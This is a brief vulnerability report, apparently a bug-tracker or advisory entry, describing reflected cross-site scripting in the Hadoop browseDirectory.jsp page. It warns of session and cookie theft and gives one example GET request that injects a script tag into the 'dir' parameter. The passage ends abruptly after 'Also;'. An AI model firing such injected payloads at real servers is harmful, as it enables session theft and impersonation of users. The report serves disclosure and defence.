Description

It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user,
allowing the hacker to view or alter user records, and to perform transactions as that user.
e.g.
GET /browseDirectory.jsp? dir=%2Fhadoop'"/><script>alert(759)</script> &namenodeInfoPort=50070

Also;
